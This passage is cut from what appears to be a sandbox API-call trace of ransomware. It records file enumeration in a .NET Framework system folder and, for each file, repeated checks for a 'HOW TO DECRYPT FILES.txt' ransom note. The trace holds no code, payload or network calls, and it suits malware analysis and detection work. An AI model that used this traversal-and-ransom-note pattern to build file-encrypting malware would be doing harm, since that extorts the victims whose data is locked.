lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.019] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.020] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Drawing.Design.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.Design.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.Design.dll" [0136.020] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93975fe4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93975fe4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9399c144, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x99000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.dll", cAlternateFileName="")) returned 1 [0136.020] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.020] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.Design.dll") returned="System.Drawing.Design.dll" [0136.020] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.020] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.020] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.020] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.020] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Drawing.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.dll" [0136.021] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338665f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x338665f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xac70acfc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.tlb", cAlternateFileName="")) returned 1 [0136.027] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.027] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.dll") returned="System.Drawing.dll" [0136.027] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.027] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.027] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.028] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.028] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Drawing.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.tlb" [0136.028] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e5d9a8a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e5d9a8a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e5ffbea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.dll", cAlternateFileName="")) returned 1 [0136.028] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.028] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Drawing.tlb") returned="System.Drawing.tlb" [0136.028] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.028] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.028] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.029] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.029] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.EnterpriseServices.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.dll" [0136.029] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3575832, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x3575832, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xac77d11c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xd380, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Thunk.dll", cAlternateFileName="")) returned 1 [0136.029] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.029] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.dll") returned="System.EnterpriseServices.dll" [0136.029] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.029] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.029] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.029] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.029] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.EnterpriseServices.Thunk.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.Thunk.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.Thunk.dll" [0136.030] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360ddae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x360ddae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xac7c93dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.tlb", cAlternateFileName="")) returned 1 [0136.030] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.030] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.Thunk.dll") returned="System.EnterpriseServices.Thunk.dll" [0136.030] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.030] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.030] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.030] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.030] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.EnterpriseServices.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.tlb" [0136.031] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e5ffbea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e5ffbea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e5ffbea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="")) returned 1 [0136.031] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.031] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.tlb") returned="System.EnterpriseServices.tlb" [0136.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.032] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.032] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.032] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.032] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.EnterpriseServices.Wrapper.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.Wrapper.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.Wrapper.dll" [0136.032] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99032224, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99032224, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99058384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.dll", cAlternateFileName="")) returned 1 [0136.032] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.033] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.EnterpriseServices.Wrapper.dll") returned="System.EnterpriseServices.Wrapper.dll" [0136.033] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.033] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.033] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.033] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.033] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Management.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Management.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Management.dll" [0136.033] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af7031d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9af7031d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af9647e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Messaging.dll", cAlternateFileName="")) returned 1 [0136.034] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.036] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Management.dll") returned="System.Management.dll" [0136.036] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.036] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.037] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.037] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.037] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Messaging.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Messaging.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Messaging.dll" [0136.037] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830cafdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830cafdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830f113d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Remoting.dll", cAlternateFileName="")) returned 1 [0136.037] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.037] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Messaging.dll") returned="System.Messaging.dll" [0136.037] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.038] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.038] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.038] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.038] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Runtime.Remoting.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Runtime.Remoting.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Runtime.Remoting.dll" [0136.038] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c275e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x3c275e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xacde2c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.dll", cAlternateFileName="")) returned 1 [0136.038] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.038] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Runtime.Remoting.dll") returned="System.Runtime.Remoting.dll" [0136.038] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.039] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.039] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.039] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.039] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Runtime.Serialization.Formatters.Soap.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Runtime.Serialization.Formatters.Soap.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Runtime.Serialization.Formatters.Soap.dll" [0136.039] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa155af, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8fa155af, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8fa155af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Security.dll", cAlternateFileName="")) returned 1 [0136.039] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.040] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Runtime.Serialization.Formatters.Soap.dll") returned="System.Runtime.Serialization.Formatters.Soap.dll" [0136.040] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.040] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.040] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.040] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.040] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Security.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Security.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Security.dll" [0136.040] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d6948a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87d6948a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87d6948a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceProcess.dll", cAlternateFileName="")) returned 1 [0136.040] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.041] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Security.dll") returned="System.Security.dll" [0136.041] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.041] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.041] lstrcatA (in: 